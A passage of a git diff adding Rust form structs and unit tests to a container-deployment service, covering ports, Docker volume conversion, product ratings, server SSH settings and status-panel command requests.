+ host_port: Some("".to_string()), + container_port: "5432".to_string(), + protocol: None, + }; + let result: Result = (&port).try_into(); + assert!(result.is_ok()); + let dc_port = result.unwrap(); + assert!(dc_port.published.is_none()); + } + + #[test] + fn test_port_try_into_invalid_container_port() { + let port = Port { + host_port: None, + container_port: "not_a_number".to_string(), + protocol: None, + }; + let result: Result = (&port).try_into(); + assert!(result.is_err()); + assert!(result + .unwrap_err() + .contains("Could not parse container port")); + } + + #[test] + fn test_port_default() { + let port = Port::default(); + assert!(port.host_port.is_none()); + assert_eq!(port.container_port, ""); + assert!(port.protocol.is_none()); + } + + #[test] + fn test_port_serialization() { + let port = Port { + host_port: Some("8080".to_string()), + container_port: "80".to_string(), + protocol: Some("tcp".to_string()), + }; + let json = serde_json::to_string(&port).unwrap(); + let deserialized: Port = serde_json::from_str(&json).unwrap(); + assert_eq!(port, deserialized); + } +} diff --git a/stacker/stacker/src/forms/project/price.rs b/stacker/stacker/src/forms/project/price.rs new file mode 100644 index 0000000..06bbaee --- /dev/null +++ b/stacker/stacker/src/forms/project/price.rs @@ -0,0 +1,6 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Price { + pub value: f64, +} diff --git a/stacker/stacker/src/forms/project/requirements.rs b/stacker/stacker/src/forms/project/requirements.rs new file mode 100644 index 0000000..402f80d --- /dev/null +++ b/stacker/stacker/src/forms/project/requirements.rs @@ -0,0 +1,20 @@ +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Requirements { + #[validate(min_length = 1)] + #[validate(max_length = 10)] + #[validate(pattern = r"^[0-9]*\.?[0-9]+$")] + pub cpu: Option, + #[validate(min_length = 1)] + #[validate(max_length = 10)] + #[validate(pattern = r"^[0-9]*\.?[0-9]+Gb?$")] + #[serde(rename = "disk_size")] + pub disk_size: Option, + #[serde(rename = "ram_size")] + #[validate(min_length = 1)] + #[validate(max_length = 10)] + #[validate(pattern = r"^[0-9]*\.?[0-9]+Gb?$")] + pub ram_size: Option, +} diff --git a/stacker/stacker/src/forms/project/role.rs b/stacker/stacker/src/forms/project/role.rs new file mode 100644 index 0000000..5f5406a --- /dev/null +++ b/stacker/stacker/src/forms/project/role.rs @@ -0,0 +1,7 @@ +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Role { + pub role: Option>, +} diff --git a/stacker/stacker/src/forms/project/service.rs b/stacker/stacker/src/forms/project/service.rs new file mode 100644 index 0000000..4d8b9aa --- /dev/null +++ b/stacker/stacker/src/forms/project/service.rs @@ -0,0 +1,14 @@ +use crate::forms::project::*; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Service { + // #[serde(rename(deserialize = "sharedPorts"))] + // #[serde(rename(serialize = "shared_ports"))] + // #[serde(alias = "shared_ports")] + // pub shared_ports: Option>, + #[serde(flatten)] + pub(crate) app: App, + pub custom: Option, +} diff --git a/stacker/stacker/src/forms/project/service_networks.rs b/stacker/stacker/src/forms/project/service_networks.rs new file mode 100644 index 0000000..531400b --- /dev/null +++ b/stacker/stacker/src/forms/project/service_networks.rs @@ -0,0 +1,55 @@ +use docker_compose_types as dctypes; +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct ServiceNetworks { + pub network: Option>, +} + +impl TryFrom<&ServiceNetworks> for dctypes::Networks { + type Error = (); + + fn try_from(service_networks: &ServiceNetworks) -> Result { + let nets = match service_networks.network.as_ref() { + Some(_nets) => _nets.clone(), + None => { + vec![] + } + }; + Ok(dctypes::Networks::Simple(nets.into())) + } +} + +// IndexMap +// +// impl Into>> for project::ComposeNetworks { +// fn into(self) -> IndexMap> { +// +// // let mut default_networks = vec![Network::default()]; +// let mut default_networks = vec![]; +// +// let networks = match self.networks { +// None => { +// default_networks +// } +// Some(mut nets) => { +// if !nets.is_empty() { +// nets.append(&mut default_networks); +// } +// nets +// } +// }; +// +// let networks = networks +// .into_iter() +// .map(|net| { +// (net.name.clone(), MapOrEmpty::Map(net.into())) +// } +// ) +// .collect::>(); +// +// tracing::debug!("networks collected {:?}", &networks); +// +// networks +// } +// } diff --git a/stacker/stacker/src/forms/project/var.rs b/stacker/stacker/src/forms/project/var.rs new file mode 100644 index 0000000..e681b3a --- /dev/null +++ b/stacker/stacker/src/forms/project/var.rs @@ -0,0 +1,33 @@ +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Var { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub key: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub value: Option, +} + +#[cfg(test)] +mod tests { + use super::Var; + use serde_json::json; + + #[test] + fn preserves_key_value_entries() { + let parsed: Var = serde_json::from_value(json!({ + "key": "status_panel_only", + "value": "true" + })) + .expect("var should deserialize"); + + assert_eq!(parsed.key.as_deref(), Some("status_panel_only")); + assert_eq!(parsed.value, Some(json!("true"))); + + let serialized = serde_json::to_value(parsed).expect("var should serialize"); + assert_eq!(serialized["key"], json!("status_panel_only")); + assert_eq!(serialized["value"], json!("true")); + } +} diff --git a/stacker/stacker/src/forms/project/version.rs b/stacker/stacker/src/forms/project/version.rs new file mode 100644 index 0000000..9e7dfb3 --- /dev/null +++ b/stacker/stacker/src/forms/project/version.rs @@ -0,0 +1,24 @@ +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Version { + #[serde(rename = "_etag")] + pub etag: Option, + #[serde(rename = "_id")] + pub id: u32, + #[serde(rename = "_created")] + pub created: Option, + #[serde(rename = "_updated")] + pub updated: Option, + pub app_id: Option, + pub name: String, + #[validate(min_length = 3)] + #[validate(max_length = 20)] + pub version: String, + #[serde(rename = "update_status")] + pub update_status: Option, + #[validate(min_length = 3)] + #[validate(max_length = 20)] + pub tag: String, +} diff --git a/stacker/stacker/src/forms/project/volume.rs b/stacker/stacker/src/forms/project/volume.rs new file mode 100644 index 0000000..2899030 --- /dev/null +++ b/stacker/stacker/src/forms/project/volume.rs @@ -0,0 +1,248 @@ +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Volume { + pub host_path: Option, + pub container_path: Option, +} + +impl Volume { + pub fn is_named_docker_volume(&self) -> bool { + // Named volumes have no path separators and don't start with . or ~ + // Bind mounts contain '/' or start with './' or '~' + match self.host_path.as_deref() { + Some(p) if !p.is_empty() => { + let result = !p.contains('/') && !p.starts_with('.') && !p.starts_with('~'); + tracing::debug!("is_named_docker_volume: '{}' => {}", p, result); + result + } + _ => false, + } + } +} + +impl TryInto for &Volume { + type Error = String; + fn try_into(self) -> Result { + let source = self.host_path.clone(); + let raw_target = self.container_path.clone().unwrap_or_default(); + + // Strip `:ro` / `:rw` suffix from container_path and extract read_only flag. + // Data may arrive with the mode embedded (e.g. "/var/run/docker.sock:ro"). + let (target, read_only) = if raw_target.ends_with(":ro") { + (raw_target.trim_end_matches(":ro").to_string(), true) + } else if raw_target.ends_with(":rw") { + (raw_target.trim_end_matches(":rw").to_string(), false) + } else { + (raw_target, false) + }; + + tracing::debug!( + "Volume conversion result: source: {:?} target: {:?} read_only: {}", + source, + target, + read_only + ); + + let _type = if self.is_named_docker_volume() { + "volume" + } else { + "bind" + }; + + Ok(dctypes::AdvancedVolumes { + source: source, + target: target, + _type: _type.to_string(), + read_only, + bind: None, + volume: None, + tmpfs: None, + }) + } +} + +impl Into for &Volume { + fn into(self) -> dctypes::ComposeVolume { + // Use default base dir - for custom base dir use to_compose_volume() + self.to_compose_volume(None) + } +} + +impl Volume { + /// Convert to ComposeVolume with optional custom base directory + /// If base_dir is None, uses DEFAULT_DEPLOY_DIR env var or "/home/trydirect" + pub fn to_compose_volume(&self, base_dir: Option<&str>) -> dctypes::ComposeVolume { + let host_path = self.host_path.clone().unwrap_or_else(String::default); + + if self.is_named_docker_volume() { + tracing::debug!("Named volume '{}' — skipping driver_opts", host_path); + return dctypes::ComposeVolume { + driver: None, + driver_opts: Default::default(), + external: None, + labels: Default::default(), + name: Some(host_path), + }; + } + + tracing::debug!( + "Bind mount volume '{}' — adding driver_opts with base dir", + host_path + ); + + let default_base = + std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string()); + let base = base_dir.unwrap_or(&default_base); + + let mut driver_opts = IndexMap::default(); + + driver_opts.insert( + String::from("type"), + Some(dctypes::SingleValue::String("none".to_string())), + ); + driver_opts.insert( + String::from("o"), + Some(dctypes::SingleValue::String("bind".to_string())), + ); + + // Normalize to avoid duplicate slashes in bind-mount device paths. + let normalized_host = host_path.trim_start_matches("./").trim_start_matches('/'); + let path = format!("{}/{}", base.trim_end_matches('/'), normalized_host); + driver_opts.insert( + String::from("device"), + Some(dctypes::SingleValue::String(path)), + ); + + dctypes::ComposeVolume { + driver: Some(String::from("local")), + driver_opts: driver_opts, + external: None, + labels: Default::default(), + name: Some(host_path), + } + } +} + +#[cfg(test)] +mod tests { + use super::Volume; + use docker_compose_types::SingleValue; + + #[test] + fn test_named_volume_is_not_prefixed() { + let volume = Volume { + host_path: Some("redis_data".to_string()), + container_path: Some("/data".to_string()), + }; + + let compose = volume.to_compose_volume(Some("/custom/base")); + + assert!(compose.driver.is_none()); + assert!(compose.driver_opts.is_empty()); + assert_eq!(compose.name.as_deref(), Some("redis_data")); + } + + #[test] + fn test_bind_volume_is_prefixed_with_base_dir() { + let volume = Volume { + host_path: Some("projects/app".to_string()), + container_path: Some("/var/lib/app".to_string()), + }; + + let compose = volume.to_compose_volume(Some("/srv/trydirect")); + let device = compose.driver_opts.get("device").and_then(|v| v.as_ref()); + + assert_eq!(compose.driver.as_deref(), Some("local")); + assert_eq!(compose.name.as_deref(), Some("projects/app")); + assert_eq!( + device, + Some(&SingleValue::String( + "/srv/trydirect/projects/app".to_string() + )) + ); + } + + #[test] + fn test_bind_volume_absolute_path() { + let volume = Volume { + host_path: Some("/data".to_string()), + container_path: Some("/var/lib/data".to_string()), + }; + + let compose = volume.to_compose_volume(Some("/srv/trydirect")); + let device = compose.driver_opts.get("device").and_then(|v| v.as_ref()); + + assert!(!volume.is_named_docker_volume()); + assert_eq!(compose.driver.as_deref(), Some("local")); + assert_eq!( + device, + Some(&SingleValue::String("/srv/trydirect/data".to_string())) + ); + } + + #[test] + fn test_bind_volume_relative_path() { + let volume = Volume { + host_path: Some("./data".to_string()), + container_path: Some("/var/lib/data".to_string()), + }; + + let compose = volume.to_compose_volume(Some("/srv/trydirect")); + let device = compose.driver_opts.get("device").and_then(|v| v.as_ref()); + + assert!(!volume.is_named_docker_volume()); + assert_eq!(compose.driver.as_deref(), Some("local")); + assert_eq!( + device, + Some(&SingleValue::String("/srv/trydirect/data".to_string())) + ); + } + + #[test] + fn test_is_named_docker_volume() { + let named = Volume { + host_path: Some("data_store-1".to_string()), + container_path: None, + }; + let bind = Volume { + host_path: Some("/var/lib/app".to_string()), + container_path: None, + }; + + assert!(named.is_named_docker_volume()); + assert!(!bind.is_named_docker_volume()); + } + + #[test] + fn test_named_volume_with_dots() { + // Docker allows dots in named volumes (e.g., "flowise.data") + let vol = Volume { + host_path: Some("flowise.data".to_string()), + container_path: Some("/data".to_string()), + }; + assert!(vol.is_named_docker_volume()); + + let compose = vol.to_compose_volume(Some("/srv/trydirect")); + assert!(compose.driver.is_none()); + assert!(compose.driver_opts.is_empty()); + assert_eq!(compose.name.as_deref(), Some("flowise.data")); + } + + #[test] + fn test_empty_host_path_is_not_named() { + let vol = Volume { + host_path: Some("".to_string()), + container_path: Some("/data".to_string()), + }; + assert!(!vol.is_named_docker_volume()); + + let vol_none = Volume { + host_path: None, + container_path: Some("/data".to_string()), + }; + assert!(!vol_none.is_named_docker_volume()); + } +} diff --git a/stacker/stacker/src/forms/project/volumes.rs b/stacker/stacker/src/forms/project/volumes.rs new file mode 100644 index 0000000..b30c435 --- /dev/null +++ b/stacker/stacker/src/forms/project/volumes.rs @@ -0,0 +1,7 @@ +use crate::forms::project::*; +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Volumes { + volumes: Vec, +} diff --git a/stacker/stacker/src/forms/project/web.rs b/stacker/stacker/src/forms/project/web.rs new file mode 100644 index 0000000..8653f7a --- /dev/null +++ b/stacker/stacker/src/forms/project/web.rs @@ -0,0 +1,10 @@ +use crate::forms::project::*; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Web { + #[serde(flatten)] + pub app: App, + pub custom: Option, +} diff --git a/stacker/stacker/src/forms/rating/add.rs b/stacker/stacker/src/forms/rating/add.rs new file mode 100644 index 0000000..2011c1c --- /dev/null +++ b/stacker/stacker/src/forms/rating/add.rs @@ -0,0 +1,105 @@ +use crate::models; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Serialize, Deserialize, Debug, Validate)] +pub struct AddRating { + pub obj_id: i32, // product external id + pub category: models::RateCategory, // rating of product | rating of service etc + #[validate(max_length = 1000)] + pub comment: Option, // always linked to a product + #[validate(minimum = 0)] + #[validate(maximum = 10)] + pub rate: i32, // +} + +impl Into for AddRating { + fn into(self) -> models::Rating { + let mut rating = models::Rating::default(); + rating.obj_id = self.obj_id; + rating.category = self.category.into(); + rating.hidden = Some(false); + rating.rate = Some(self.rate); + rating.comment = self.comment; + + rating + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_valid::Validate; + + #[test] + fn test_add_rating_into_model() { + let rating = AddRating { + obj_id: 42, + category: models::RateCategory::Application, + comment: Some("Great app!".to_string()), + rate: 8, + }; + let model: models::Rating = rating.into(); + assert_eq!(model.obj_id, 42); + assert_eq!(model.hidden, Some(false)); + assert_eq!(model.rate, Some(8)); + assert_eq!(model.comment, Some("Great app!".to_string())); + } + + #[test] + fn test_add_rating_no_comment() { + let rating = AddRating { + obj_id: 1, + category: models::RateCategory::Cloud, + comment: None, + rate: 5, + }; + let model: models::Rating = rating.into(); + assert!(model.comment.is_none()); + assert_eq!(model.rate, Some(5)); + } + + #[test] + fn test_add_rating_validation_valid() { + let rating = AddRating { + obj_id: 1, + category: models::RateCategory::Price, + comment: Some("OK".to_string()), + rate: 5, + }; + assert!(rating.validate().is_ok()); + } + + #[test] + fn test_add_rating_validation_rate_too_high() { + let rating = AddRating { + obj_id: 1, + category: models::RateCategory::Design, + comment: None, + rate: 11, // max is 10 + }; + assert!(rating.validate().is_err()); + } + + #[test] + fn test_add_rating_validation_rate_negative() { + let rating = AddRating { + obj_id: 1, + category: models::RateCategory::Design, + comment: None, + rate: -1, // min is 0 + }; + assert!(rating.validate().is_err()); + } + + #[test] + fn test_add_rating_validation_comment_too_long() { + let rating = AddRating { + obj_id: 1, + category: models::RateCategory::TechSupport, + comment: Some("a".repeat(1001)), // max is 1000 + rate: 5, + }; + assert!(rating.validate().is_err()); + } +} diff --git a/stacker/stacker/src/forms/rating/adminedit.rs b/stacker/stacker/src/forms/rating/adminedit.rs new file mode 100644 index 0000000..4b2a3f6 --- /dev/null +++ b/stacker/stacker/src/forms/rating/adminedit.rs @@ -0,0 +1,29 @@ +use crate::models; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Serialize, Deserialize, Debug, Validate)] +pub struct AdminEditRating { + #[validate(max_length = 1000)] + pub comment: Option, // always linked to a product + #[validate(minimum = 0)] + #[validate(maximum = 10)] + pub rate: Option, + pub hidden: Option, +} + +impl AdminEditRating { + pub fn update(self, rating: &mut models::Rating) { + if let Some(comment) = self.comment { + rating.comment = Some(comment); + } + + if let Some(rate) = self.rate { + rating.rate = Some(rate); + } + + if let Some(hidden) = self.hidden { + rating.hidden = Some(hidden); + } + } +} diff --git a/stacker/stacker/src/forms/rating/mod.rs b/stacker/stacker/src/forms/rating/mod.rs new file mode 100644 index 0000000..f73f170 --- /dev/null +++ b/stacker/stacker/src/forms/rating/mod.rs @@ -0,0 +1,7 @@ +mod add; +mod adminedit; +mod useredit; + +pub use add::AddRating as Add; +pub use adminedit::AdminEditRating as AdminEdit; +pub use useredit::UserEditRating as UserEdit; diff --git a/stacker/stacker/src/forms/rating/useredit.rs b/stacker/stacker/src/forms/rating/useredit.rs new file mode 100644 index 0000000..24e4653 --- /dev/null +++ b/stacker/stacker/src/forms/rating/useredit.rs @@ -0,0 +1,24 @@ +use crate::models; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Serialize, Deserialize, Debug, Validate)] +pub struct UserEditRating { + #[validate(max_length = 1000)] + pub comment: Option, // always linked to a product + #[validate(minimum = 0)] + #[validate(maximum = 10)] + pub rate: Option, // +} + +impl UserEditRating { + pub fn update(self, rating: &mut models::Rating) { + if let Some(comment) = self.comment { + rating.comment = Some(comment); + } + + if let Some(rate) = self.rate { + rating.rate = Some(rate); + } + } +} diff --git a/stacker/stacker/src/forms/remote_secret.rs b/stacker/stacker/src/forms/remote_secret.rs new file mode 100644 index 0000000..cc6edd2 --- /dev/null +++ b/stacker/stacker/src/forms/remote_secret.rs @@ -0,0 +1,76 @@ +use crate::models::RemoteSecret; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Clone, Deserialize, Validate)] +pub struct UpsertRemoteSecretRequest { + #[validate(min_length = 1)] + pub value: String, +} + +impl std::fmt::Debug for UpsertRemoteSecretRequest { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("UpsertRemoteSecretRequest") + .field("value", &"[REDACTED]") + .finish() + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct RemoteSecretMetadataResponse { + pub id: i32, + pub scope: String, + pub name: String, + pub secure: bool, + pub project_id: Option, + pub app_code: Option, + pub server_id: Option, + pub updated_at: String, + pub updated_by: String, + pub source: String, +} + +impl From for RemoteSecretMetadataResponse { + fn from(value: RemoteSecret) -> Self { + Self { + id: value.id, + scope: value.scope, + name: value.name, + secure: true, + project_id: value.project_id, + app_code: value.app_code, + server_id: value.server_id, + updated_at: value.updated_at.to_rfc3339(), + updated_by: value.updated_by, + source: "vault".to_string(), + } + } +} + +#[cfg(test)] +mod tests { + use super::RemoteSecretMetadataResponse; + use crate::models::RemoteSecret; + use chrono::Utc; + + #[test] + fn remote_secret_metadata_is_marked_secure() { + let response = RemoteSecretMetadataResponse::from(RemoteSecret { + id: 7, + user_id: "user-1".to_string(), + project_id: Some(42), + app_code: Some("api".to_string()), + server_id: None, + scope: "service".to_string(), + name: "MYSECURE_PASSPHRASE".to_string(), + vault_path: "secret/path".to_string(), + updated_by: "user-1".to_string(), + last_sync_status: "synced".to_string(), + created_at: Utc::now(), + updated_at: Utc::now(), + }); + + assert!(response.secure); + assert_eq!(response.source, "vault"); + } +} diff --git a/stacker/stacker/src/forms/server.rs b/stacker/stacker/src/forms/server.rs new file mode 100644 index 0000000..bae896e --- /dev/null +++ b/stacker/stacker/src/forms/server.rs @@ -0,0 +1,204 @@ +use crate::models; +use chrono::Utc; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct ServerForm { + /// If provided, update this existing server instead of creating new + pub server_id: Option, + /// Reference to the cloud provider (DO, Hetzner, AWS, etc.) + pub cloud_id: Option, + pub region: Option, + pub zone: Option, + pub server: Option, + pub os: Option, + pub disk_type: Option, + pub srv_ip: Option, + #[serde(default = "default_ssh_port")] + pub ssh_port: Option, + pub ssh_user: Option, + /// Optional friendly name for the server + pub name: Option, + /// Connection mode: "ssh" or "password" or "status_panel" + pub connection_mode: Option, + /// Path in Vault where SSH key is stored (e.g., "secret/users/{user_id}/servers/{server_id}/ssh") + pub vault_key_path: Option, + /// The actual public key content (ed25519 or rsa). + /// Populated at deploy time so the Install Service can inject it into + /// `authorized_keys` on the target server without a separate Vault call. + /// Not persisted to the database. + #[serde(skip_serializing_if = "Option::is_none")] + pub public_key: Option, + /// The actual SSH private key content (PEM). + /// Populated at deploy time for "own" flow re-deploys so the Install Service + /// can SSH into the server without relying on a cached file path in Redis. + /// Not persisted to the database. + #[serde(skip_serializing_if = "Option::is_none")] + pub ssh_private_key: Option, +} + +impl std::fmt::Debug for ServerForm { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ServerForm") + .field("server_id", &self.server_id) + .field("cloud_id", &self.cloud_id) + .field("region", &self.region) + .field("zone", &self.zone) + .field("server", &self.server) + .field("os", &self.os) + .field("disk_type", &self.disk_type) + .field("srv_ip", &self.srv_ip) + .field("ssh_port", &self.ssh_port) + .field("ssh_user", &self.ssh_user) + .field("name", &self.name) + .field("connection_mode", &self.connection_mode) + .field("vault_key_path", &self.vault_key_path) + .field("public_key", &"[REDACTED]") + .field("ssh_private_key", &"[REDACTED]") + .finish() + } +} + +pub fn default_ssh_port() -> Option { + Some(22) +} + +impl From<&ServerForm> for models::Server { + fn from(val: &ServerForm) -> Self { + let mut server = models::Server::default(); + server.cloud_id = val.cloud_id; + server.disk_type = val.disk_type.clone(); + server.region = val.region.clone(); + server.server = val.server.clone(); + server.zone = val.zone.clone(); + server.os = val.os.clone(); + server.created_at = Utc::now(); + server.updated_at = Utc::now(); + server.srv_ip = val.srv_ip.clone(); + server.ssh_port = val.ssh_port.clone().or_else(default_ssh_port); + server.ssh_user = val.ssh_user.clone(); + server.name = val.name.clone(); + server.connection_mode = val + .connection_mode + .clone() + .unwrap_or_else(|| "ssh".to_string()); + server.vault_key_path = val.vault_key_path.clone(); + + server + } +} + +impl Into for models::Server { + fn into(self) -> ServerForm { + let mut form = ServerForm::default(); + form.server_id = Some(self.id); + form.cloud_id = self.cloud_id; + form.disk_type = self.disk_type; + form.region = self.region; + form.server = self.server; + form.zone = self.zone; + form.os = self.os; + form.srv_ip = self.srv_ip; + form.ssh_port = self.ssh_port; + form.ssh_user = self.ssh_user; + form.name = self.name; + form.connection_mode = Some(self.connection_mode); + form.vault_key_path = self.vault_key_path; + + form + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_default_ssh_port() { + assert_eq!(default_ssh_port(), Some(22)); + } + + #[test] + fn test_server_form_to_model() { + let form = ServerForm { + server_id: None, + cloud_id: Some(5), + region: Some("us-east-1".to_string()), + zone: Some("us-east-1a".to_string()), + server: Some("s-2vcpu".to_string()), + os: Some("ubuntu".to_string()), + disk_type: Some("ssd".to_string()), + srv_ip: Some("10.0.0.1".to_string()), + ssh_port: Some(2222), + ssh_user: Some("admin".to_string()), + name: Some("my-server".to_string()), + connection_mode: Some("ssh".to_string()), + vault_key_path: Some("/vault/path".to_string()), + public_key: None, + ssh_private_key: None, + }; + let server: models::Server = (&form).into(); + assert_eq!(server.cloud_id, Some(5)); + assert_eq!(server.region, Some("us-east-1".to_string())); + assert_eq!(server.ssh_port, Some(2222)); + assert_eq!(server.ssh_user, Some("admin".to_string())); + assert_eq!(server.connection_mode, "ssh"); + assert_eq!(server.name, Some("my-server".to_string())); + } + + #[test] + fn test_server_form_to_model_defaults() { + let form = ServerForm::default(); + let server: models::Server = (&form).into(); + assert_eq!(server.ssh_port, Some(22)); // default_ssh_port fallback + assert_eq!(server.connection_mode, "ssh"); + } + + #[test] + fn test_model_to_server_form() { + let server = models::Server { + id: 42, + cloud_id: Some(10), + region: Some("eu-west-1".to_string()), + ssh_port: Some(22), + ssh_user: Some("root".to_string()), + connection_mode: "ssh".to_string(), + name: Some("prod".to_string()), + vault_key_path: Some("/v/k".to_string()), + ..Default::default() + }; + let form: ServerForm = server.into(); + assert_eq!(form.server_id, Some(42)); + assert_eq!(form.cloud_id, Some(10)); + assert_eq!(form.region, Some("eu-west-1".to_string())); + assert_eq!(form.ssh_port, Some(22)); + assert_eq!(form.connection_mode, Some("ssh".to_string())); + assert_eq!(form.name, Some("prod".to_string())); + } + + #[test] + fn test_server_form_roundtrip() { + let server = models::Server { + id: 1, + cloud_id: Some(3), + region: Some("us-west".to_string()), + zone: Some("a".to_string()), + server: Some("large".to_string()), + os: Some("debian".to_string()), + disk_type: Some("nvme".to_string()), + srv_ip: Some("1.2.3.4".to_string()), + ssh_port: Some(2222), + ssh_user: Some("deploy".to_string()), + connection_mode: "ssh".to_string(), + vault_key_path: Some("path".to_string()), + name: Some("test".to_string()), + ..Default::default() + }; + let form: ServerForm = server.into(); + let back: models::Server = (&form).into(); + assert_eq!(back.cloud_id, Some(3)); + assert_eq!(back.region, Some("us-west".to_string())); + assert_eq!(back.ssh_port, Some(2222)); + } +} diff --git a/stacker/stacker/src/forms/status_panel.rs b/stacker/stacker/src/forms/status_panel.rs new file mode 100644 index 0000000..8e47f10 --- /dev/null +++ b/stacker/stacker/src/forms/status_panel.rs @@ -0,0 +1,2315 @@ +use chrono::{DateTime, Utc}; +use pipe_adapter_sdk::PipeAdapterReference; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +pub use crate::forms::firewall::FirewallPortRule; + +fn default_include_metrics() -> bool { + true +} + +fn default_log_limit() -> i32 { + 400 +} + +fn default_log_streams() -> Vec { + vec!["stdout".to_string(), "stderr".to_string()] +} + +fn default_log_redact() -> bool { + true +} + +fn default_list_include_health() -> bool { + true +} + +fn default_list_log_lines() -> usize { + 10 +} + +fn default_delete_config() -> bool { + true +} + +fn default_restart_force() -> bool { + false +} + +fn default_ssl_enabled() -> bool { + true +} + +fn default_create_action() -> String { + "create".to_string() +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct HealthCommandRequest { + /// App code to check health for. Use "all" or omit to get all containers. + #[serde(default = "default_health_app_code")] + pub app_code: String, + /// Optional container/service name override + #[serde(default)] + pub container: Option, + #[serde(default = "default_include_metrics")] + pub include_metrics: bool, + /// When true and app_code is "system" or empty, return system containers (status_panel, compose-agent) + #[serde(default)] + pub include_system: bool, +} + +fn default_health_app_code() -> String { + "all".to_string() +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct LogsCommandRequest { + pub app_code: String, + /// Optional container/service name override + #[serde(default)] + pub container: Option, + #[serde(default)] + pub cursor: Option, + #[serde(default = "default_log_limit")] + pub limit: i32, + #[serde(default = "default_log_streams")] + pub streams: Vec, + #[serde(default = "default_log_redact")] + pub redact: bool, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ListContainersCommandRequest { + #[serde(default = "default_list_include_health")] + pub include_health: bool, + #[serde(default)] + pub include_logs: bool, + #[serde(default = "default_list_log_lines")] + pub log_lines: usize, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct RestartCommandRequest { + pub app_code: String, + /// Optional container/service name override + #[serde(default)] + pub container: Option, + #[serde(default = "default_restart_force")] + pub force: bool, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct DeployAppCommandRequest { + pub app_code: String, + /// Optional: docker-compose.yml content (generated from J2 template) + /// If provided, will be written to disk before deploying + #[serde(default)] + pub compose_content: Option, + /// Optional: specific image to use (overrides compose file) + #[serde(default)] + pub image: Option, + /// Optional: environment variables to set + #[serde(default)] + pub env_vars: Option>, + /// Optional config files to write before deploying. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub config_files: Option>, + /// Whether to pull the image before starting (default: true) + #[serde(default = "default_deploy_pull")] + pub pull: bool, + /// Whether to remove existing container before deploying + #[serde(default)] + pub force_recreate: bool, + /// Whether to overwrite drifted runtime config files such as .env + #[serde(default)] + pub force_config_overwrite: bool, + /// Container runtime to use: "runc" (default) or "kata" + #[serde(default = "default_runtime")] + pub runtime: String, + /// Optional private registry credentials reused for image pull refreshes. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub registry_auth: Option, +} + +fn default_deploy_pull() -> bool { + true +} + +fn default_runtime() -> String { + "runc".to_string() +} + +#[derive(Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct RegistryAuthCommandRequest { + pub registry: String, + pub username: String, + pub password: String, +} + +impl std::fmt::Debug for RegistryAuthCommandRequest { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("RegistryAuthCommandRequest") + .field("registry", &self.registry) + .field("username", &self.username) + .field("password", &"[REDACTED]") + .finish() + } +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct RemoveAppCommandRequest { + pub app_code: String, + #[serde(default = "default_delete_config")] + pub delete_config: bool, + #[serde(default)] + pub remove_volumes: bool, + #[serde(default)] + pub remove_image: bool, +} + +/// Request to configure nginx proxy manager for an app +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ConfigureProxyCommandRequest { + pub app_code: String, + /// Domain name(s) to proxy (e.g., ["komodo.example.com"]) + pub domain_names: Vec, + /// Container/service name to forward to (defaults to app_code) + #[serde(default)] + pub forward_host: Option, + /// Port on the container to forward to + pub forward_port: u16, + /// Enable SSL with Let's Encrypt + #[serde(default = "default_ssl_enabled")] + pub ssl_enabled: bool, + /// Force HTTPS redirect + #[serde(default = "default_ssl_enabled")] + pub ssl_forced: bool, + /// HTTP/2 support + #[serde(default = "default_ssl_enabled")] + pub http2_support: bool, + /// Action: "create", "update", "delete" + #[serde(default = "default_create_action")] + pub action: String, +} + +fn default_firewall_action() -> String { + "add".to_string() 